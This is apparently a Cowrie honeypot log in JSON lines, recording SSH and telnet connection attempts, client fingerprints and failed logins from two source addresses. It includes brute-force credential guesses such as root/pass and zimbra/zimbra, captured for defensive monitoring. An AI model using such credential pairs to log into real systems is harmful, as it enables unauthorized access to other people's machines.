{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:41.939264Z","src_ip":"192.109.200.78","session":"4ab8e16f6671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":5608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc520dc1559","protocol":"telnet","message":"New connection: 34.79.219.11:5608 (159.203.135.109:23) [session: 3bc520dc1559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:42.122466Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:42.188119Z","src_ip":"192.109.200.78","session":"4ab8e16f6671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":5624,"dst_ip":"159.203.135.109","dst_port":23,"session":"3355b191d8eb","protocol":"telnet","message":"New connection: 34.79.219.11:5624 (159.203.135.109:23) [session: 3355b191d8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:42.284505Z"}
{"eventid":"cowrie.session.closed","duration":0.004973173141479492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:42.289360Z","src_ip":"34.79.219.11","session":"3355b191d8eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":5638,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ebae580ae1","protocol":"telnet","message":"New connection: 34.79.219.11:5638 (159.203.135.109:23) [session: e9ebae580ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:42.446553Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:43.339878Z","src_ip":"192.109.200.78","session":"4ab8e16f6671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.7562496662139893,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:43.878608Z","src_ip":"34.79.219.11","session":"3bc520dc1559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40428,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc21ba020cce","protocol":"ssh","message":"New connection: 192.109.200.78:40428 (10.17.0.5:22) [session: dc21ba020cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:45.264781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:45.268016Z","src_ip":"192.109.200.78","session":"dc21ba020cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:45.447879Z","src_ip":"192.109.200.78","session":"dc21ba020cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:45.859496Z","src_ip":"192.109.200.78","session":"dc21ba020cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:46.990136Z","src_ip":"192.109.200.78","session":"dc21ba020cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40436,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa21f2f8e797","protocol":"ssh","message":"New connection: 192.109.200.78:40436 (10.17.0.5:22) [session: aa21f2f8e797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:48.964462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:49.040377Z","src_ip":"192.109.200.78","session":"aa21f2f8e797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:49.205589Z","src_ip":"192.109.200.78","session":"aa21f2f8e797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:49.569754Z","src_ip":"192.109.200.78","session":"aa21f2f8e797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:50.653014Z","src_ip":"192.109.200.78","session":"aa21f2f8e797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15152,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c28f86a17d","protocol":"telnet","message":"New connection: 34.79.219.11:15152 (159.203.135.109:23) [session: 04c28f86a17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.607568Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.611163Z","src_ip":"34.79.219.11","session":"04c28f86a17d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.613226Z","src_ip":"34.79.219.11","session":"04c28f86a17d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08841991424560547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.695855Z","src_ip":"34.79.219.11","session":"04c28f86a17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15164,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac8c3c878f3","protocol":"telnet","message":"New connection: 34.79.219.11:15164 (159.203.135.109:23) [session: 6ac8c3c878f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.772899Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15166,"dst_ip":"159.203.135.109","dst_port":23,"session":"af3bed4cc9f9","protocol":"telnet","message":"New connection: 34.79.219.11:15166 (159.203.135.109:23) [session: af3bed4cc9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:51.933789Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0569348cf8d","protocol":"telnet","message":"New connection: 34.79.219.11:15178 (159.203.135.109:23) [session: c0569348cf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.095386Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15182,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d21b3a4990e","protocol":"telnet","message":"New connection: 34.79.219.11:15182 (159.203.135.109:23) [session: 9d21b3a4990e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.257130Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15198,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1fdaa5953f","protocol":"telnet","message":"New connection: 34.79.219.11:15198 (159.203.135.109:23) [session: 9b1fdaa5953f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.417985Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15214,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a45ab62aa62","protocol":"telnet","message":"New connection: 34.79.219.11:15214 (159.203.135.109:23) [session: 0a45ab62aa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.579002Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"899a4b375a03","protocol":"ssh","message":"New connection: 192.109.200.78:41444 (10.17.0.5:22) [session: 899a4b375a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.653418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.657361Z","src_ip":"192.109.200.78","session":"899a4b375a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15226,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3d5e5617cc4","protocol":"telnet","message":"New connection: 34.79.219.11:15226 (159.203.135.109:23) [session: a3d5e5617cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.740674Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.745319Z","src_ip":"192.109.200.78","session":"899a4b375a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15228,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfb58f4e51df","protocol":"telnet","message":"New connection: 34.79.219.11:15228 (159.203.135.109:23) [session: cfb58f4e51df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.909292Z"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:52.992759Z","src_ip":"192.109.200.78","session":"899a4b375a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15242,"dst_ip":"159.203.135.109","dst_port":23,"session":"9063db11550b","protocol":"telnet","message":"New connection: 34.79.219.11:15242 (159.203.135.109:23) [session: 9063db11550b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.070282Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15244,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd25a2d9de5","protocol":"telnet","message":"New connection: 34.79.219.11:15244 (159.203.135.109:23) [session: dfd25a2d9de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.310659Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15248,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2fd9abacc05","protocol":"telnet","message":"New connection: 34.79.219.11:15248 (159.203.135.109:23) [session: d2fd9abacc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.471231Z"}
{"eventid":"cowrie.session.closed","duration":0.0039823055267333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.475063Z","src_ip":"34.79.219.11","session":"d2fd9abacc05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15260,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c2eb33874d","protocol":"telnet","message":"New connection: 34.79.219.11:15260 (159.203.135.109:23) [session: 24c2eb33874d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.633127Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15268,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e6b0579efe","protocol":"telnet","message":"New connection: 34.79.219.11:15268 (159.203.135.109:23) [session: d6e6b0579efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.794553Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15276,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb52c06f9254","protocol":"telnet","message":"New connection: 34.79.219.11:15276 (159.203.135.109:23) [session: cb52c06f9254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:53.957294Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.112431Z","src_ip":"192.109.200.78","session":"899a4b375a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15290,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85d523dd726","protocol":"telnet","message":"New connection: 34.79.219.11:15290 (159.203.135.109:23) [session: f85d523dd726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.118784Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15302,"dst_ip":"159.203.135.109","dst_port":23,"session":"28f56d376c2d","protocol":"telnet","message":"New connection: 34.79.219.11:15302 (159.203.135.109:23) [session: 28f56d376c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.281330Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15314,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec9ab88bb62","protocol":"telnet","message":"New connection: 34.79.219.11:15314 (159.203.135.109:23) [session: bec9ab88bb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.444435Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15316,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4c25a4f61d7","protocol":"telnet","message":"New connection: 34.79.219.11:15316 (159.203.135.109:23) [session: e4c25a4f61d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.606252Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15326,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5684ed64fa6","protocol":"telnet","message":"New connection: 34.79.219.11:15326 (159.203.135.109:23) [session: b5684ed64fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.768605Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15342,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ecc65e1b93c","protocol":"telnet","message":"New connection: 34.79.219.11:15342 (159.203.135.109:23) [session: 3ecc65e1b93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.932892Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:54.937245Z","src_ip":"34.79.219.11","session":"3ecc65e1b93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15346,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b5986f80b6","protocol":"telnet","message":"New connection: 34.79.219.11:15346 (159.203.135.109:23) [session: 37b5986f80b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.097223Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e23d497c6cb","protocol":"telnet","message":"New connection: 34.79.219.11:15354 (159.203.135.109:23) [session: 5e23d497c6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.258242Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15360,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6663194973e","protocol":"telnet","message":"New connection: 34.79.219.11:15360 (159.203.135.109:23) [session: f6663194973e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.419695Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15366,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abed9a6e6f1","protocol":"telnet","message":"New connection: 34.79.219.11:15366 (159.203.135.109:23) [session: 4abed9a6e6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.579888Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15372,"dst_ip":"159.203.135.109","dst_port":23,"session":"7279dd7171ff","protocol":"telnet","message":"New connection: 34.79.219.11:15372 (159.203.135.109:23) [session: 7279dd7171ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.738324Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15388,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee8a1650ff96","protocol":"telnet","message":"New connection: 34.79.219.11:15388 (159.203.135.109:23) [session: ee8a1650ff96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.898661Z"}
{"eventid":"cowrie.session.closed","duration":0.004513263702392578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:55.903055Z","src_ip":"34.79.219.11","session":"ee8a1650ff96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41446,"dst_ip":"10.17.0.5","dst_port":22,"session":"1907c5bc2366","protocol":"ssh","message":"New connection: 192.109.200.78:41446 (10.17.0.5:22) [session: 1907c5bc2366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.005895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.058907Z","src_ip":"192.109.200.78","session":"1907c5bc2366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15410,"dst_ip":"159.203.135.109","dst_port":23,"session":"799c1838ce35","protocol":"telnet","message":"New connection: 34.79.219.11:15410 (159.203.135.109:23) [session: 799c1838ce35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.061544Z"}
